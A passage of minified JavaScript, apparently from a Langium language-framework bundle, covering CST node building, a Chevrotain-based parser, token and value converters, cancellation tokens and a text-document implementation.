s(m){return e.call(m)==="[object Number]"}o(s,"number"),t.number=s;function l(m,g,y){return e.call(m)==="[object Number]"&&g<=m&&m<=y}o(l,"numberRange"),t.numberRange=l;function u(m){return e.call(m)==="[object Number]"&&-2147483648<=m&&m<=2147483647}o(u,"integer"),t.integer=u;function h(m){return e.call(m)==="[object Number]"&&0<=m&&m<=2147483647}o(h,"uinteger"),t.uinteger=h;function f(m){return e.call(m)==="[object Function]"}o(f,"func"),t.func=f;function d(m){return m!==null&&typeof m=="object"}o(d,"objectLiteral"),t.objectLiteral=d;function p(m,g){return Array.isArray(m)&&m.every(g)}o(p,"typedArray"),t.typedArray=p})(Ge||(Ge={}))});var wb,kb,Yp,Xp,FP,B1,FS=N(()=>{"use strict";BP();Bl();wb=class{static{o(this,"CstNodeBuilder")}constructor(){this.nodeStack=[]}get current(){var e;return(e=this.nodeStack[this.nodeStack.length-1])!==null&&e!==void 0?e:this.rootNode}buildRootNode(e){return this.rootNode=new B1(e),this.rootNode.root=this.rootNode,this.nodeStack=[this.rootNode],this.rootNode}buildCompositeNode(e){let r=new Xp;return r.grammarSource=e,r.root=this.rootNode,this.current.content.push(r),this.nodeStack.push(r),r}buildLeafNode(e,r){let n=new Yp(e.startOffset,e.image.length,xg(e),e.tokenType,!r);return n.grammarSource=r,n.root=this.rootNode,this.current.content.push(n),n}removeNode(e){let r=e.container;if(r){let n=r.content.indexOf(e);n>=0&&r.content.splice(n,1)}}addHiddenNodes(e){let r=[];for(let a of e){let s=new Yp(a.startOffset,a.image.length,xg(a),a.tokenType,!0);s.root=this.rootNode,r.push(s)}let n=this.current,i=!1;if(n.content.length>0){n.content.push(...r);return}for(;n.container;){let a=n.container.content.indexOf(n);if(a>0){n.container.content.splice(a,0,...r),i=!0;break}n=n.container}i||this.rootNode.content.unshift(...r)}construct(e){let r=this.current;typeof e.$type=="string"&&(this.current.astNode=e),e.$cstNode=r;let n=this.nodeStack.pop();n?.content.length===0&&this.removeNode(n)}},kb=class{static{o(this,"AbstractCstNode")}get parent(){return this.container}get feature(){return this.grammarSource}get hidden(){return!1}get astNode(){var e,r;let n=typeof((e=this._astNode)===null||e===void 0?void 0:e.$type)=="string"?this._astNode:(r=this.container)===null||r===void 0?void 0:r.astNode;if(!n)throw new Error("This node has no associated AST element");return n}set astNode(e){this._astNode=e}get element(){return this.astNode}get text(){return this.root.fullText.substring(this.offset,this.end)}},Yp=class extends kb{static{o(this,"LeafCstNodeImpl")}get offset(){return this._offset}get length(){return this._length}get end(){return this._offset+this._length}get hidden(){return this._hidden}get tokenType(){return this._tokenType}get range(){return this._range}constructor(e,r,n,i,a=!1){super(),this._hidden=a,this._offset=e,this._tokenType=i,this._length=r,this._range=n}},Xp=class extends kb{static{o(this,"CompositeCstNodeImpl")}constructor(){super(...arguments),this.content=new FP(this)}get children(){return this.content}get offset(){var e,r;return(r=(e=this.firstNonHiddenNode)===null||e===void 0?void 0:e.offset)!==null&&r!==void 0?r:0}get length(){return this.end-this.offset}get end(){var e,r;return(r=(e=this.lastNonHiddenNode)===null||e===void 0?void 0:e.end)!==null&&r!==void 0?r:0}get range(){let e=this.firstNonHiddenNode,r=this.lastNonHiddenNode;if(e&&r){if(this._rangeCache===void 0){let{range:n}=e,{range:i}=r;this._rangeCache={start:n.start,end:i.end.line=0;e--){let r=this.content[e];if(!r.hidden)return r}return this.content[this.content.length-1]}},FP=class t extends Array{static{o(this,"CstNodeContainer")}constructor(e){super(),this.parent=e,Object.setPrototypeOf(this,t.prototype)}push(...e){return this.addParents(e),super.push(...e)}unshift(...e){return this.addParents(e),super.unshift(...e)}splice(e,r,...n){return this.addParents(n),super.splice(e,r,...n)}addParents(e){for(let r of e)r.container=this.parent}},B1=class extends Xp{static{o(this,"RootCstNodeImpl")}get text(){return this._text.substring(this.offset,this.end)}get fullText(){return this._text}constructor(e){super(),this._text="",this._text=e??""}}});function $P(t){return t.$type===$S}var $S,j0e,K0e,Eb,Sb,zS,F1,Cb,PXe,zP,Ab=N(()=>{"use strict";Ff();Ype();Hc();zl();hs();FS();$S=Symbol("Datatype");o($P,"isDataTypeNode");j0e="\u200B",K0e=o(t=>t.endsWith(j0e)?t:t+j0e,"withRuleSuffix"),Eb=class{static{o(this,"AbstractLangiumParser")}constructor(e){this._unorderedGroups=new Map,this.allRules=new Map,this.lexer=e.parser.Lexer;let r=this.lexer.definition,n=e.LanguageMetaData.mode==="production";this.wrapper=new zP(r,Object.assign(Object.assign({},e.parser.ParserConfig),{skipValidations:n,errorMessageProvider:e.parser.ParserErrorMessageProvider}))}alternatives(e,r){this.wrapper.wrapOr(e,r)}optional(e,r){this.wrapper.wrapOption(e,r)}many(e,r){this.wrapper.wrapMany(e,r)}atLeastOne(e,r){this.wrapper.wrapAtLeastOne(e,r)}getRule(e){return this.allRules.get(e)}isRecording(){return this.wrapper.IS_RECORDING}get unorderedGroups(){return this._unorderedGroups}getRuleStack(){return this.wrapper.RULE_STACK}finalize(){this.wrapper.wrapSelfAnalysis()}},Sb=class extends Eb{static{o(this,"LangiumParser")}get current(){return this.stack[this.stack.length-1]}constructor(e){super(e),this.nodeBuilder=new wb,this.stack=[],this.assignmentMap=new Map,this.linker=e.references.Linker,this.converter=e.parser.ValueConverter,this.astReflection=e.shared.AstReflection}rule(e,r){let n=this.computeRuleType(e),i=this.wrapper.DEFINE_RULE(K0e(e.name),this.startImplementation(n,r).bind(this));return this.allRules.set(e.name,i),e.entry&&(this.mainRule=i),i}computeRuleType(e){if(!e.fragment){if(jx(e))return $S;{let r=c1(e);return r??e.name}}}parse(e,r={}){this.nodeBuilder.buildRootNode(e);let n=this.lexerResult=this.lexer.tokenize(e);this.wrapper.input=n.tokens;let i=r.rule?this.allRules.get(r.rule):this.mainRule;if(!i)throw new Error(r.rule?`No rule found with name '${r.rule}'`:"No main rule available.");let a=i.call(this.wrapper,{});return this.nodeBuilder.addHiddenNodes(n.hidden),this.unorderedGroups.clear(),this.lexerResult=void 0,{value:a,lexerErrors:n.errors,lexerReport:n.report,parserErrors:this.wrapper.errors}}startImplementation(e,r){return n=>{let i=!this.isRecording()&&e!==void 0;if(i){let s={$type:e};this.stack.push(s),e===$S&&(s.value="")}let a;try{a=r(n)}catch{a=void 0}return a===void 0&&i&&(a=this.construct()),a}}extractHiddenTokens(e){let r=this.lexerResult.hidden;if(!r.length)return[];let n=e.startOffset;for(let i=0;in)return r.splice(0,i);return r.splice(0,r.length)}consume(e,r,n){let i=this.wrapper.wrapConsume(e,r);if(!this.isRecording()&&this.isValidToken(i)){let a=this.extractHiddenTokens(i);this.nodeBuilder.addHiddenNodes(a);let s=this.nodeBuilder.buildLeafNode(i,n),{assignment:l,isCrossRef:u}=this.getAssignment(n),h=this.current;if(l){let f=Zo(n)?i.image:this.converter.convert(i.image,s);this.assign(l.operator,l.feature,f,s,u)}else if($P(h)){let f=i.image;Zo(n)||(f=this.converter.convert(f,s).toString()),h.value+=f}}}isValidToken(e){return!e.isInsertedInRecovery&&!isNaN(e.startOffset)&&typeof e.endOffset=="number"&&!isNaN(e.endOffset)}subrule(e,r,n,i,a){let s;!this.isRecording()&&!n&&(s=this.nodeBuilder.buildCompositeNode(i));let l=this.wrapper.wrapSubrule(e,r,a);!this.isRecording()&&s&&s.length>0&&this.performSubruleAssignment(l,i,s)}performSubruleAssignment(e,r,n){let{assignment:i,isCrossRef:a}=this.getAssignment(r);if(i)this.assign(i.operator,i.feature,e,n,a);else if(!i){let s=this.current;if($P(s))s.value+=e.toString();else if(typeof e=="object"&&e){let u=this.assignWithoutOverride(e,s);this.stack.pop(),this.stack.push(u)}}}action(e,r){if(!this.isRecording()){let n=this.current;if(r.feature&&r.operator){n=this.construct(),this.nodeBuilder.removeNode(n.$cstNode),this.nodeBuilder.buildCompositeNode(r).content.push(n.$cstNode);let a={$type:e};this.stack.push(a),this.assign(r.operator,r.feature,n,n.$cstNode,!1)}else n.$type=e}}construct(){if(this.isRecording())return;let e=this.current;return zE(e),this.nodeBuilder.construct(e),this.stack.pop(),$P(e)?this.converter.convert(e.value,e.$cstNode):(gO(this.astReflection,e),e)}getAssignment(e){if(!this.assignmentMap.has(e)){let r=Ip(e,Fl);this.assignmentMap.set(e,{assignment:r,isCrossRef:r?Mp(r.terminal):!1})}return this.assignmentMap.get(e)}assign(e,r,n,i,a){let s=this.current,l;switch(a&&typeof n=="string"?l=this.linker.buildReference(s,r,i,n):l=n,e){case"=":{s[r]=l;break}case"?=":{s[r]=!0;break}case"+=":Array.isArray(s[r])||(s[r]=[]),s[r].push(l)}}assignWithoutOverride(e,r){for(let[i,a]of Object.entries(r)){let s=e[i];s===void 0?e[i]=a:Array.isArray(s)&&Array.isArray(a)&&(a.push(...s),e[i]=a)}let n=e.$cstNode;return n&&(n.astNode=void 0,e.$cstNode=void 0),e}get definitionErrors(){return this.wrapper.definitionErrors}},zS=class{static{o(this,"AbstractParserErrorMessageProvider")}buildMismatchTokenMessage(e){return Zu.buildMismatchTokenMessage(e)}buildNotAllInputParsedMessage(e){return Zu.buildNotAllInputParsedMessage(e)}buildNoViableAltMessage(e){return Zu.buildNoViableAltMessage(e)}buildEarlyExitMessage(e){return Zu.buildEarlyExitMessage(e)}},F1=class extends zS{static{o(this,"LangiumParserErrorMessageProvider")}buildMismatchTokenMessage({expected:e,actual:r}){return`Expecting ${e.LABEL?"`"+e.LABEL+"`":e.name.endsWith(":KW")?`keyword '${e.name.substring(0,e.name.length-3)}'`:`token of type '${e.name}'`} but found \`${r.image}\`.`}buildNotAllInputParsedMessage({firstRedundant:e}){return`Expecting end of file but found \`${e.image}\`.`}},Cb=class extends Eb{static{o(this,"LangiumCompletionParser")}constructor(){super(...arguments),this.tokens=[],this.elementStack=[],this.lastElementStack=[],this.nextTokenIndex=0,this.stackSize=0}action(){}construct(){}parse(e){this.resetState();let r=this.lexer.tokenize(e,{mode:"partial"});return this.tokens=r.tokens,this.wrapper.input=[...this.tokens],this.mainRule.call(this.wrapper,{}),this.unorderedGroups.clear(),{tokens:this.tokens,elementStack:[...this.lastElementStack],tokenIndex:this.nextTokenIndex}}rule(e,r){let n=this.wrapper.DEFINE_RULE(K0e(e.name),this.startImplementation(r).bind(this));return this.allRules.set(e.name,n),e.entry&&(this.mainRule=n),n}resetState(){this.elementStack=[],this.lastElementStack=[],this.nextTokenIndex=0,this.stackSize=0}startImplementation(e){return r=>{let n=this.keepStackSize();try{e(r)}finally{this.resetStackSize(n)}}}removeUnexpectedElements(){this.elementStack.splice(this.stackSize)}keepStackSize(){let e=this.elementStack.length;return this.stackSize=e,e}resetStackSize(e){this.removeUnexpectedElements(),this.stackSize=e}consume(e,r,n){this.wrapper.wrapConsume(e,r),this.isRecording()||(this.lastElementStack=[...this.elementStack,n],this.nextTokenIndex=this.currIdx+1)}subrule(e,r,n,i,a){this.before(i),this.wrapper.wrapSubrule(e,r,a),this.after(i)}before(e){this.isRecording()||this.elementStack.push(e)}after(e){if(!this.isRecording()){let r=this.elementStack.lastIndexOf(e);r>=0&&this.elementStack.splice(r)}}get currIdx(){return this.wrapper.currIdx}},PXe={recoveryEnabled:!0,nodeLocationTracking:"full",skipValidations:!0,errorMessageProvider:new F1},zP=class extends gb{static{o(this,"ChevrotainWrapper")}constructor(e,r){let n=r&&"maxLookahead"in r;super(e,Object.assign(Object.assign(Object.assign({},PXe),{lookaheadStrategy:n?new Ju({maxLookahead:r.maxLookahead}):new bb({logging:r.skipValidations?()=>{}:void 0})}),r))}get IS_RECORDING(){return this.RECORDING_PHASE}DEFINE_RULE(e,r){return this.RULE(e,r)}wrapSelfAnalysis(){this.performSelfAnalysis()}wrapConsume(e,r){return this.consume(e,r)}wrapSubrule(e,r,n){return this.subrule(e,r,{ARGS:[n]})}wrapOr(e,r){this.or(e,r)}wrapOption(e,r){this.option(e,r)}wrapMany(e,r){this.many(e,r)}wrapAtLeastOne(e,r){this.atLeastOne(e,r)}}});function _b(t,e,r){return BXe({parser:e,tokens:r,ruleNames:new Map},t),e}function BXe(t,e){let r=Yx(e,!1),n=an(e.rules).filter(Ga).filter(i=>r.has(i));for(let i of n){let a=Object.assign(Object.assign({},t),{consume:1,optional:1,subrule:1,many:1,or:1});t.parser.rule(i,jp(a,i.definition))}}function jp(t,e,r=!1){let n;if(Zo(e))n=HXe(t,e);else if(qu(e))n=FXe(t,e);else if(Fl(e))n=jp(t,e.terminal);else if(Mp(e))n=Q0e(t,e);else if($l(e))n=$Xe(t,e);else if(BE(e))n=GXe(t,e);else if($E(e))n=VXe(t,e);else if(Of(e))n=UXe(t,e);else if(oO(e)){let i=t.consume++;n=o(()=>t.parser.consume(i,yo,e),"method")}else throw new Rp(e.$cstNode,`Unexpected element type: ${e.$type}`);return Z0e(t,r?void 0:GS(e),n,e.cardinality)}function FXe(t,e){let r=Kx(e);return()=>t.parser.action(r,e)}function $Xe(t,e){let r=e.rule.ref;if(Ga(r)){let n=t.subrule++,i=r.fragment,a=e.arguments.length>0?zXe(r,e.arguments):()=>({});return s=>t.parser.subrule(n,J0e(t,r),i,e,a(s))}else if(mo(r)){let n=t.consume++,i=GP(t,r.name);return()=>t.parser.consume(n,i,e)}else if(r)Uc(r);else throw new Rp(e.$cstNode,`Undefined rule: ${e.rule.$refText}`)}function zXe(t,e){let r=e.map(n=>eh(n.value));return n=>{let i={};for(let a=0;ae(n)||r(n)}else if(JI(t)){let e=eh(t.left),r=eh(t.right);return n=>e(n)&&r(n)}else if(tO(t)){let e=eh(t.value);return r=>!e(r)}else if(rO(t)){let e=t.parameter.ref.name;return r=>r!==void 0&&r[e]===!0}else if(ZI(t)){let e=!!t.true;return()=>e}Uc(t)}function GXe(t,e){if(e.elements.length===1)return jp(t,e.elements[0]);{let r=[];for(let i of e.elements){let a={ALT:jp(t,i,!0)},s=GS(i);s&&(a.GATE=eh(s)),r.push(a)}let n=t.or++;return i=>t.parser.alternatives(n,r.map(a=>{let s={ALT:o(()=>a.ALT(i),"ALT")},l=a.GATE;return l&&(s.GATE=()=>l(i)),s}))}}function VXe(t,e){if(e.elements.length===1)return jp(t,e.elements[0]);let r=[];for(let l of e.elements){let u={ALT:jp(t,l,!0)},h=GS(l);h&&(u.GATE=eh(h)),r.push(u)}let n=t.or++,i=o((l,u)=>{let h=u.getRuleStack().join("-");return`uGroup_${l}_${h}`},"idFunc"),a=o(l=>t.parser.alternatives(n,r.map((u,h)=>{let f={ALT:o(()=>!0,"ALT")},d=t.parser;f.ALT=()=>{if(u.ALT(l),!d.isRecording()){let m=i(n,d);d.unorderedGroups.get(m)||d.unorderedGroups.set(m,[]);let g=d.unorderedGroups.get(m);typeof g?.[h]>"u"&&(g[h]=!0)}};let p=u.GATE;return p?f.GATE=()=>p(l):f.GATE=()=>{let m=d.unorderedGroups.get(i(n,d));return!m?.[h]},f})),"alternatives"),s=Z0e(t,GS(e),a,"*");return l=>{s(l),t.parser.isRecording()||t.parser.unorderedGroups.delete(i(n,t.parser))}}function UXe(t,e){let r=e.elements.map(n=>jp(t,n));return n=>r.forEach(i=>i(n))}function GS(t){if(Of(t))return t.guardCondition}function Q0e(t,e,r=e.terminal){if(r)if($l(r)&&Ga(r.rule.ref)){let n=r.rule.ref,i=t.subrule++;return a=>t.parser.subrule(i,J0e(t,n),!1,e,a)}else if($l(r)&&mo(r.rule.ref)){let n=t.consume++,i=GP(t,r.rule.ref.name);return()=>t.parser.consume(n,i,e)}else if(Zo(r)){let n=t.consume++,i=GP(t,r.value);return()=>t.parser.consume(n,i,e)}else throw new Error("Could not build cross reference parser");else{if(!e.type.ref)throw new Error("Could not resolve reference to type: "+e.type.$refText);let n=qE(e.type.ref),i=n?.terminal;if(!i)throw new Error("Could not find name assignment for type: "+Kx(e.type.ref));return Q0e(t,e,i)}}function HXe(t,e){let r=t.consume++,n=t.tokens[e.value];if(!n)throw new Error("Could not find token for keyword: "+e.value);return()=>t.parser.consume(r,n,e)}function Z0e(t,e,r,n){let i=e&&eh(e);if(!n)if(i){let a=t.or++;return s=>t.parser.alternatives(a,[{ALT:o(()=>r(s),"ALT"),GATE:o(()=>i(s),"GATE")},{ALT:LS(),GATE:o(()=>!i(s),"GATE")}])}else return r;if(n==="*"){let a=t.many++;return s=>t.parser.many(a,{DEF:o(()=>r(s),"DEF"),GATE:i?()=>i(s):void 0})}else if(n==="+"){let a=t.many++;if(i){let s=t.or++;return l=>t.parser.alternatives(s,[{ALT:o(()=>t.parser.atLeastOne(a,{DEF:o(()=>r(l),"DEF")}),"ALT"),GATE:o(()=>i(l),"GATE")},{ALT:LS(),GATE:o(()=>!i(l),"GATE")}])}else return s=>t.parser.atLeastOne(a,{DEF:o(()=>r(s),"DEF")})}else if(n==="?"){let a=t.optional++;return s=>t.parser.optional(a,{DEF:o(()=>r(s),"DEF"),GATE:i?()=>i(s):void 0})}else Uc(n)}function J0e(t,e){let r=qXe(t,e),n=t.parser.getRule(r);if(!n)throw new Error(`Rule "${r}" not found."`);return n}function qXe(t,e){if(Ga(e))return e.name;if(t.ruleNames.has(e))return t.ruleNames.get(e);{let r=e,n=r.$container,i=e.$type;for(;!Ga(n);)(Of(n)||BE(n)||$E(n))&&(i=n.elements.indexOf(r).toString()+":"+i),r=n,n=n.$container;return i=n.name+":"+i,t.ruleNames.set(e,i),i}}function GP(t,e){let r=t.tokens[e];if(!r)throw new Error(`Token "${e}" not found."`);return r}var VS=N(()=>{"use strict";Ff();Hc();NE();Ys();zl();o(_b,"createParser");o(BXe,"buildRules");o(jp,"buildElement");o(FXe,"buildAction");o($Xe,"buildRuleCall");o(zXe,"buildRuleCallPredicate");o(eh,"buildPredicate");o(GXe,"buildAlternatives");o(VXe,"buildUnorderedGroup");o(UXe,"buildGroup");o(GS,"getGuardCondition");o(Q0e,"buildCrossReference");o(HXe,"buildKeyword");o(Z0e,"wrap");o(J0e,"getRule");o(qXe,"getRuleName");o(GP,"getToken")});function VP(t){let e=t.Grammar,r=t.parser.Lexer,n=new Cb(t);return _b(e,n,r.definition),n.finalize(),n}var UP=N(()=>{"use strict";Ab();VS();o(VP,"createCompletionParser")});function HP(t){let e=eme(t);return e.finalize(),e}function eme(t){let e=t.Grammar,r=t.parser.Lexer,n=new Sb(t);return _b(e,n,r.definition)}var qP=N(()=>{"use strict";Ab();VS();o(HP,"createLangiumParser");o(eme,"prepareLangiumParser")});var th,US=N(()=>{"use strict";Ff();Hc();hs();zl();l1();Ys();th=class{static{o(this,"DefaultTokenBuilder")}constructor(){this.diagnostics=[]}buildTokens(e,r){let n=an(Yx(e,!1)),i=this.buildTerminalTokens(n),a=this.buildKeywordTokens(n,i,r);return i.forEach(s=>{let l=s.PATTERN;typeof l=="object"&&l&&"test"in l&&o1(l)?a.unshift(s):a.push(s)}),a}flushLexingReport(e){return{diagnostics:this.popDiagnostics()}}popDiagnostics(){let e=[...this.diagnostics];return this.diagnostics=[],e}buildTerminalTokens(e){return e.filter(mo).filter(r=>!r.fragment).map(r=>this.buildTerminalToken(r)).toArray()}buildTerminalToken(e){let r=u1(e),n=this.requiresCustomPattern(r)?this.regexPatternFunction(r):r,i={name:e.name,PATTERN:n};return typeof n=="function"&&(i.LINE_BREAKS=!0),e.hidden&&(i.GROUP=o1(r)?Zn.SKIPPED:"hidden"),i}requiresCustomPattern(e){return e.flags.includes("u")||e.flags.includes("s")?!0:!!(e.source.includes("?<=")||e.source.includes("?(r.lastIndex=i,r.exec(n))}buildKeywordTokens(e,r,n){return e.filter(Ga).flatMap(i=>qc(i).filter(Zo)).distinct(i=>i.value).toArray().sort((i,a)=>a.value.length-i.value.length).map(i=>this.buildKeywordToken(i,r,!!n?.caseInsensitive))}buildKeywordToken(e,r,n){let i=this.buildKeywordPattern(e,n),a={name:e.value,PATTERN:i,LONGER_ALT:this.findLongerAlt(e,r)};return typeof i=="function"&&(a.LINE_BREAKS=!0),a}buildKeywordPattern(e,r){return r?new RegExp(kO(e.value)):e.value}findLongerAlt(e,r){return r.reduce((n,i)=>{let a=i?.PATTERN;return a?.source&&EO("^"+a.source+"$",e.value)&&n.push(i),n},[])}}});var Kp,Xc,WP=N(()=>{"use strict";Hc();zl();Kp=class{static{o(this,"DefaultValueConverter")}convert(e,r){let n=r.grammarSource;if(Mp(n)&&(n=AO(n)),$l(n)){let i=n.rule.ref;if(!i)throw new Error("This cst node was not parsed by a rule.");return this.runConverter(i,e,r)}return e}runConverter(e,r,n){var i;switch(e.name.toUpperCase()){case"INT":return Xc.convertInt(r);case"STRING":return Xc.convertString(r);case"ID":return Xc.convertID(r)}switch((i=IO(e))===null||i===void 0?void 0:i.toLowerCase()){case"number":return Xc.convertNumber(r);case"boolean":return Xc.convertBoolean(r);case"bigint":return Xc.convertBigint(r);case"date":return Xc.convertDate(r);default:return r}}};(function(t){function e(h){let f="";for(let d=1;d{"use strict";Object.defineProperty(jP,"__esModule",{value:!0});var YP;function XP(){if(YP===void 0)throw new Error("No runtime abstraction layer installed");return YP}o(XP,"RAL");(function(t){function e(r){if(r===void 0)throw new Error("No runtime abstraction layer provided");YP=r}o(e,"install"),t.install=e})(XP||(XP={}));jP.default=XP});var nme=Da(Ua=>{"use strict";Object.defineProperty(Ua,"__esModule",{value:!0});Ua.stringArray=Ua.array=Ua.func=Ua.error=Ua.number=Ua.string=Ua.boolean=void 0;function WXe(t){return t===!0||t===!1}o(WXe,"boolean");Ua.boolean=WXe;function tme(t){return typeof t=="string"||t instanceof String}o(tme,"string");Ua.string=tme;function YXe(t){return typeof t=="number"||t instanceof Number}o(YXe,"number");Ua.number=YXe;function XXe(t){return t instanceof Error}o(XXe,"error");Ua.error=XXe;function jXe(t){return typeof t=="function"}o(jXe,"func");Ua.func=jXe;function rme(t){return Array.isArray(t)}o(rme,"array");Ua.array=rme;function KXe(t){return rme(t)&&t.every(e=>tme(e))}o(KXe,"stringArray");Ua.stringArray=KXe});var ZP=Da($1=>{"use strict";Object.defineProperty($1,"__esModule",{value:!0});$1.Emitter=$1.Event=void 0;var QXe=KP(),ime;(function(t){let e={dispose(){}};t.None=function(){return e}})(ime||($1.Event=ime={}));var QP=class{static{o(this,"CallbackList")}add(e,r=null,n){this._callbacks||(this._callbacks=[],this._contexts=[]),this._callbacks.push(e),this._contexts.push(r),Array.isArray(n)&&n.push({dispose:o(()=>this.remove(e,r),"dispose")})}remove(e,r=null){if(!this._callbacks)return;let n=!1;for(let i=0,a=this._callbacks.length;i{this._callbacks||(this._callbacks=new QP),this._options&&this._options.onFirstListenerAdd&&this._callbacks.isEmpty()&&this._options.onFirstListenerAdd(this),this._callbacks.add(e,r);let i={dispose:o(()=>{this._callbacks&&(this._callbacks.remove(e,r),i.dispose=t._noop,this._options&&this._options.onLastListenerRemove&&this._callbacks.isEmpty()&&this._options.onLastListenerRemove(this))},"dispose")};return Array.isArray(n)&&n.push(i),i}),this._event}fire(e){this._callbacks&&this._callbacks.invoke.call(this._callbacks,e)}dispose(){this._callbacks&&(this._callbacks.dispose(),this._callbacks=void 0)}};$1.Emitter=HS;HS._noop=function(){}});var ame=Da(z1=>{"use strict";Object.defineProperty(z1,"__esModule",{value:!0});z1.CancellationTokenSource=z1.CancellationToken=void 0;var ZXe=KP(),JXe=nme(),JP=ZP(),qS;(function(t){t.None=Object.freeze({isCancellationRequested:!1,onCancellationRequested:JP.Event.None}),t.Cancelled=Object.freeze({isCancellationRequested:!0,onCancellationRequested:JP.Event.None});function e(r){let n=r;return n&&(n===t.None||n===t.Cancelled||JXe.boolean(n.isCancellationRequested)&&!!n.onCancellationRequested)}o(e,"is"),t.is=e})(qS||(z1.CancellationToken=qS={}));var eje=Object.freeze(function(t,e){let r=(0,ZXe.default)().timer.setTimeout(t.bind(e),0);return{dispose(){r.dispose()}}}),WS=class{static{o(this,"MutableToken")}constructor(){this._isCancelled=!1}cancel(){this._isCancelled||(this._isCancelled=!0,this._emitter&&(this._emitter.fire(void 0),this.dispose()))}get isCancellationRequested(){return this._isCancelled}get onCancellationRequested(){return this._isCancelled?eje:(this._emitter||(this._emitter=new JP.Emitter),this._emitter.event)}dispose(){this._emitter&&(this._emitter.dispose(),this._emitter=void 0)}},eB=class{static{o(this,"CancellationTokenSource")}get token(){return this._token||(this._token=new WS),this._token}cancel(){this._token?this._token.cancel():this._token=qS.Cancelled}dispose(){this._token?this._token instanceof WS&&this._token.dispose():this._token=qS.None}};z1.CancellationTokenSource=eB});var br={};var el=N(()=>{"use strict";Lr(br,ja(ame(),1))});function tB(){return new Promise(t=>{typeof setImmediate>"u"?setTimeout(t,0):setImmediate(t)})}function XS(){return YS=performance.now(),new br.CancellationTokenSource}function ome(t){sme=t}function Kc(t){return t===jc}async function bi(t){if(t===br.CancellationToken.None)return;let e=performance.now();if(e-YS>=sme&&(YS=e,await tB(),YS=performance.now()),t.isCancellationRequested)throw jc}var YS,sme,jc,gs,tl=N(()=>{"use strict";el();o(tB,"delayNextTick");YS=0,sme=10;o(XS,"startCancelableOperation");o(ome,"setInterruptionPeriod");jc=Symbol("OperationCancelled");o(Kc,"isOperationCancelled");o(bi,"interruptAndCheck");gs=class{static{o(this,"Deferred")}constructor(){this.promise=new Promise((e,r)=>{this.resolve=n=>(e(n),this),this.reject=n=>(r(n),this)})}}});function rB(t,e){if(t.length<=1)return t;let r=t.length/2|0,n=t.slice(0,r),i=t.slice(r);rB(n,e),rB(i,e);let a=0,s=0,l=0;for(;ar.line||e.line===r.line&&e.character>r.character?{start:r,end:e}:t}function tje(t){let e=ume(t.range);return e!==t.range?{newText:t.newText,range:e}:t}var jS,G1,hme=N(()=>{"use strict";jS=class t{static{o(this,"FullTextDocument")}constructor(e,r,n,i){this._uri=e,this._languageId=r,this._version=n,this._content=i,this._lineOffsets=void 0}get uri(){return this._uri}get languageId(){return this._languageId}get version(){return this._version}getText(e){if(e){let r=this.offsetAt(e.start),n=this.offsetAt(e.end);return this._content.substring(r,n)}return this._content}update(e,r){for(let n of e)if(t.isIncremental(n)){let i=ume(n.range),a=this.offsetAt(i.start),s=this.offsetAt(i.end);this._content=this._content.substring(0,a)+n.text+this._content.substring(s,this._content.length);let l=Math.max(i.start.line,0),u=Math.max(i.end.line,0),h=this._lineOffsets,f=lme(n.text,!1,a);if(u-l===f.length)for(let p=0,m=f.length;pe?i=s:n=s+1}let a=n-1;return e=this.ensureBeforeEOL(e,r[a]),{line:a,character:e-r[a]}}offsetAt(e){let r=this.getLineOffsets();if(e.line>=r.length)return this._content.length;if(e.line<0)return 0;let n=r[e.line];if(e.character<=0)return n;let i=e.line+1r&&cme(this._content.charCodeAt(e-1));)e--;return e}get lineCount(){return this.getLineOffsets().length}static isIncremental(e){let r=e;return r!=null&&typeof r.text=="string"&&r.range!==void 0&&(r.rangeLength===void 0||typeof r.rangeLength=="number")}static isFull(e){let r=e;return r!=null&&typeof r.text=="string"&&r.range===void 0&&r.rangeLength===void 0}};(function(t){function e(i,a,s,l){return new jS(i,a,s,l)}o(e,"create"),t.create=e;function r(i,a,s){if(i instanceof jS)return i.update(a,s),i;throw new Error("TextDocument.update: document must be created by TextDocument.create")}o(r,"update"),t.update=r;function n(i,a){let s=i.getText(),l=rB(a.map(tje),(f,d)=>{let p=f.range.start.line-d.range.start.line;return p===0?f.range.start.character-d.range.start.character:p}),u=0,h=[];for(let f of l){let d=i.offsetAt(f.range.start);if(du&&h.push(s.substring(u,d)),f.newText.length&&h.push(f.newText),u=i.offsetAt(f.range.end)}return h.push(s.substr(u)),h.join("")}o(n,"applyEdits"),t.applyEdits=n})(G1||(G1={}));o(rB,"mergeSort");o(lme,"computeLineOffsets");o(cme,"isEOL");o(ume,"getWellformedRange");o(tje,"getWellformedEdit")});var fme,ys,V1,nB=N(()=>{"use strict";(()=>{"use strict";var t={470:i=>{function a(u){if(typeof u!="string")throw new TypeError("Path must be a string. Received "+JSON.stringify(u))}o(a,"e");function s(u,h){for(var f,d="",p=0,m=-1,g=0,y=0;y<=u.length;++y){if(y2){var v=d.lastIndexOf("/");if(v!==d.length-1){v===-1?(d="",p=0):p=(d=d.slice(0,v)).length-1-d.lastIndexOf("/"),m=y,g=0;continue}}else if(d.length===2||d.length===1){d="",p=0,m=y,g=0;continue}}h&&(d.length>0?d+="/..":d="..",p=2)}else d.length>0?d+="/"+u.slice(m+1,y):d=u.slice(m+1,y),p=y-m-1;m=y,g=0}else f===46&&g!==-1?++g:g=-1}return d}o(s,"r");var l={resolve:o(function(){for(var u,h="",f=!1,d=arguments.length-1;d>=-1&&!f;d--){var p;d>=0?p=arguments[d]:(u===void 0&&(u=process.cwd()),p=u),a(p),p.length!==0&&(h=p+"/"+h,f=p.charCodeAt(0)===47)}return h=s(h,!f),f?h.length>0?"/"+h:"/":h.length>0?h:"."},"resolve"),normalize:o(function(u){if(a(u),u.length===0)return".";var h=u.charCodeAt(0)===47,f=u.charCodeAt(u.length-1)===47;return(u=s(u,!h)).length!==0||h||(u="."),u.length>0&&f&&(u+="/"),h?"/"+u:u},"normalize"),isAbsolute:o(function(u){return a(u),u.length>0&&u.charCodeAt(0)===47},"isAbsolute"),join:o(function(){if(arguments.length===0)return".";for(var u,h=0;h0&&(u===void 0?u=f:u+="/"+f)}return u===void 0?".":l.normalize(u)},"join"),relative:o(function(u,h){if(a(u),a(h),u===h||(u=l.resolve(u))===(h=l.resolve(h)))return"";for(var f=1;fy){if(h.charCodeAt(m+x)===47)return h.slice(m+x+1);if(x===0)return h.slice(m+x)}else p>y&&(u.charCodeAt(f+x)===47?v=x:x===0&&(v=0));break}var b=u.charCodeAt(f+x);if(b!==h.charCodeAt(m+x))break;b===47&&(v=x)}var T="";for(x=f+v+1;x<=d;++x)x!==d&&u.charCodeAt(x)!==47||(T.length===0?T+="..":T+="/..");return 